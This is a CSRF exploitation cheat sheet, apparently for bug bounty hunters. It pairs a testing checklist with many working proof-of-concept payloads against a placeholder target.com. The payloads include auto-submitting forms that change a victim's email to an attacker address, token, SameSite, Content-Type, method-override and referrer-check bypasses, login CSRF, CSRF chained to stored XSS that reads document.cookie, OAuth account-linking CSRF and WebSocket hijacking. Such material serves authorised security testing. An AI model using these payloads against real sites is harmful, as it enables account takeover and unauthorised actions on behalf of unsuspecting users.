Quick Check
Is It CSRF Vulnerable?
TEXT
1. Does action change state? (POST/PUT/DELETE)
2. Relies on cookies for auth? (session cookie)
3. No unpredictable token? (no CSRF token)
4. SameSite=None or not set? (for cross-site)
Test Flow
TEXT
1. Capture request in Burp
2. Remove CSRF token/header → does it still work?
3. Change token to random value → does it still work?
4. Use token from different session → does it work?
5. Change POST to GET → does it work?
6. Change Content-Type → does it work?
Basic PoC Templates
GET-Based CSRF
HTML
<img src="https://target.com/api/delete?id=123">
<iframe src="https://target.com/api/delete?id=123" style="display:none">
<link rel="stylesheet" href="https://target.com/api/delete?id=123">
POST Form (Auto-Submit)
HTML
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://target.com/api/change-email">
<input type="hidden" name="email" value="attacker@evil.com">
</form>
</body>
</html>
POST with JSON Body (Simple Request)
HTML
<form method="POST" action="https://target.com/api/update" enctype="text/plain">
<input name='{"email":"attacker@evil.com","x":"' value='"}' type="hidden">
</form>
<script>document.forms[0].submit();</script>
<!-- This sends: {"email":"attacker@evil.com","x":"="} -->
Token Bypass Techniques
Token Not Validated
TEXT
# Try empty token
csrf_token=
# Try removing parameter entirely
(delete the csrf_token parameter)
# Try null/undefined
csrf_token=null
csrf_token=undefined
Token Not Tied to Session
TEXT
# Use token from attacker's session
# Login as attacker → get CSRF token → use in victim's exploit
Token in Cookie = Token in Body
TEXT
# If app checks: cookie_token == body_token
# Set cookie via XSS or subdomain, control body token
Token Validation Only on Presence
TEXT
# Try removing token entirely vs having wrong token
# Some apps only validate IF token exists
Weak Token Generation
TEXT
# Predictable patterns:
- Sequential numbers
- MD5(username)
- MD5(timestamp)
- Base64 encoded
SameSite Cookie Bypass
When SameSite Works
TEXT
SameSite=Strict → Only same-site, no cross-site ever
SameSite=Lax → Cross-site GET allowed (navigations)
SameSite=None → Cross-site allowed (needs Secure)
No SameSite set → Browser defaults to Lax (modern browsers)
Lax Bypass via GET
HTML
<!-- SameSite=Lax allows GET navigations -->
<a href="https://target.com/api/delete?id=123">Click me</a>
<!-- Auto-redirect -->
<script>window.location = 'https://target.com/api/delete?id=123';</script>
Lax Bypass with Method Override
HTML
<!-- If app allows _method parameter -->
<form method="GET" action="https://target.com/api/delete">
<input name="_method" value="POST">
<input name="id" value="123">
</form>
Bypass via Same-Site Context
TEXT
# From subdomain (if cookie scope allows)
# From related domain in same site
# Via XSS on target (then it's same-origin)
Content-Type Bypass
Simple Requests (No Preflight)
TEXT
- application/x-www-form-urlencoded
- multipart/form-data
- text/plain
Bypass JSON Requirement
HTML
<!-- Send as form, but body looks like JSON -->
<form method="POST" action="https://target.com/api" enctype="text/plain">
<input name='{"key":"value","ignore":"' value='"}'>
</form>
Multipart with JSON
HTML
<form method="POST" action="https://target.com/api" enctype="multipart/form-data">
<input type="hidden" name="json" value='{"email":"evil@attacker.com"}'>
</form>
Method Override
Common Override Headers/Params
TEXT
X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
_method=DELETE
method=PUT
PoC with Override
HTML
<form method="POST" action="https://target.com/api/user/1">
<input name="_method" value="DELETE">
</form>
Referrer Bypass
If Referrer Validated
TEXT
# Try no referrer
<meta name="referrer" content="no-referrer">
# Try empty referrer
<meta name="referrer" content="unsafe-url">
# Referrer starting with target domain
https://target.com.attacker.com
https://attacker.com/target.com
# Subdomain referrer
https://evil.target.com
Weak Referrer Validation
TEXT
# If checks "contains target.com"
https://attacker.com/target.com
https://target.com.attacker.com
https://attacker.com?ref=target.com
Advanced CSRF Techniques
Login CSRF (Session Fixation)
HTML
<!-- Force login to attacker's account -->
<form method="POST" action="https://target.com/login">
<input name="user" value="attacker">
<input name="pass" value="password123">
</form>
<script>document.forms[0].submit();</script>
<!-- Victim now logged in as attacker, actions tracked -->
Logout CSRF
HTML
<img src="https://target.com/logout">
<!-- DoS by forcing logout -->
CSRF + Self-XSS Chain
TEXT
1. Find Self-XSS in user profile
2. CSRF to inject XSS payload into victim's profile
3. When victim views own profile → XSS fires
CSRF to Stored XSS
HTML
<form method="POST" action="https://target.com/api/update-profile">
<input name="bio" value="<script>alert(document.cookie)</script>">
</form>
OAuth CSRF (Account Linking)
HTML
<!-- Force link attacker's OAuth account -->
<img src="https://target.com/oauth/callback?code=ATTACKER_CODE">
WebSocket CSRF (CSWSH)
HTML
<script>
var ws = new WebSocket('wss://target.com/socket');
ws.onopen = function() {
ws.send('{"action":"delete","id":"123"}');
};
</script>
Bug Bounty Tips
High-Value CSRF Targets
TEXT
- Password change (without current password)
- Email change
- Account deletion
- Admin actions
- Money transfer
- API key generation
- OAuth account linking
- Settings that affect security
Bypass Checklist
TEXT
□ Remove token entirely
□ Empty token value
□ Token from another session
□ Change POST to GET
□ Method override (PUT/DELETE to POST)
□ Change Content-Type
□ Remove Referer header
□ CORS misconfiguration chain
□ XSS chain (same-origin bypass)
Demonstrating Impact
TEXT
- Don't just show "works without token"
- Perform actual state change
- Record video of automatic exploitation
- Show post-exploitation state
- Chain with other vulns